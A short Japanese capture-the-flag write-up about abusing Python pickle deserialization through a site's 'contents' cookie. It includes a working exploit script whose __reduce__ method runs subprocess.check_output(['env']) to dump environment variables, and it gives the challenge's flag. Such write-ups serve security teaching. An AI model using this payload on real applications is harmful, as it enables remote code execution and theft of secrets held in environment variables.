調査
よくわからないピクルスと共に文字を登録できるサイトが与えられる。
pythonでpickleといえば、やることはUnsafe Deserializationだろう。
Proxy履歴を見ると、contentsクッキーになんか入っている。
Set-Cookie: contents=gASVDQAAAAAAAABdlCiMAXiUjAF5lGUu; Path=/
ソースコード読み
配列がpickleでシリアライズされている。
普通に出力して表示しているのでUnsafe Desearialization達成できそうだ。
Unsafe Deserialization
import pickle
import base64
class Exploit(object):
def __reduce__(self):
import subprocess
return (subprocess.check_output, (['env'],))
data = [Exploit()]
print(base64.b64encode(pickle.dumps(data)))
フラグは環境変数に入っているのでenvコマンドを動かしてみよう。
・・・
フラグが出てきましたね。
`actf{you_got_yourself_out_of_a_pickle}